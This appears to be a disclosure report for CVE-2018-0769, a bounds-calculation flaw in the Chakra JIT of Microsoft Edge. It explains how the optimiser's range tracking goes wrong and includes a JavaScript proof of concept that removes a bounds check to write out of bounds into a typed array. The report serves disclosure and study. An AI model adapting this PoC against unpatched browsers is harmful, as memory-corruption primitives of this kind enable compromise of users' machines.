### Microsoft Edge Chakra JIT Incorrect Bounds Calculation

Microsoft Edge Chakra JIT suffers from an out-of-bounds write vulnerability.

MD5 | `cd3a0e785ae920d4c8bf5b53a4cc3e8f`

``Microsoft Edge: Chakra: JIT: Incorrect bounds calculation CVE-2018-0769Let's start with comments in the "GlobOpt::TrackIntSpecializedAddSubConstant" method.            // Track bounds for add or sub with a constant. For instance, consider (b = a + 2). The value of 'b' should track            // that it is equal to (the value of 'a') + 2. That part has been done above. Similarly, the value of 'a' should            // also track that it is equal to (the value of 'b') - 2.This means "j" will be guaranteed to be in the range of INT_MIN to 15(INT_MAX - 0x7ffffff0) at (a) in the following code. In detail, it uses "BailOutOnOverflow", which makes the JITed code bailout when an integer overflow occurs, to ensure the range.function opt(j) {    let k = j + 0x7ffffff0;    // (a)}But if integer overflows continuously occur in the JITed code or it's known that "k" doesn't fit in an int at compile time, Chakra considers "k" to be a float.For example, in the following code where "j" is always greater than 100, "k" is considered a float. So it doesn't use "BailOutOnOverflow" for the add operation.function opt(j) {    if (j <= 100)        return;    let k = j + 0x7ffffff0;}Now, let's take a look at the PoC.function opt() {    let j = 0;    for (let i = 0; i < 2; i++) {        // (a)        j += 0x100000;        // (b)        let k = j + 0x7ffffff0; // (c)    }}Note that all loops are analyzed twice in the JIT optimization process.Here's what happens in the analyses.In the first analysis:At (b), Chakra considers "j" to be in the range of INT_MIN to INT_MAX.At (c), INT_MAX + 0x7ffffff0 overflows but INT_MIN + 0x7ffffff0 doesn't, so it assumes "k" may fit in an int and that "BailOutOnOverflow" will be used to ensure "j" to be in the range of INT_MIN to 15.In the second analysis:At (a), Chakra considers "j" to be in the range of 0 to 15.At (b), Chakra considers "j" to be in the range of 0x100000 to 0x10000f.At (c), in both cases of 0x100000 + 0x7ffffff0 and 0x10000f + 0x7ffffff0, an integer overflow occurs. So "k" is considered a float.In the first analysis, it made two assumptions: "k" will be an int, and therefore "BailOutOnOverflow" will be used. But actually, both assumptions are wrong. "k" will be a float. And "BailOutOnOverflow" will never be used.However it's already guaranteed "j" to be in the range of INT_MIN to 15 at (a) based on the wrong assumptions. We can abuse this.PoC demonstrating OOB write:function opt(arr) {    if (arr.length <= 15)        return;    let j = 0;    for (let i = 0; i < 2; i++) {        arr[j] = 0x1234;  // (a)        j += 0x100000;        j + 0x7ffffff0;    }}function main() {    for (let i = 0; i < 0x10000; i++) {        opt(new Uint32Array(100));    }}main();At (a), Chakra considers "j" to be always in the range of INT_MIN to 15, the length of "arr" has been already guaranteed to be upper than 15, so it eliminates the bounds check.This bug is subject to a 90 day disclosure deadline. After 90 days elapseor a patch has been made broadly available, the bug report will becomevisible to the public.Found by: lokihardt``

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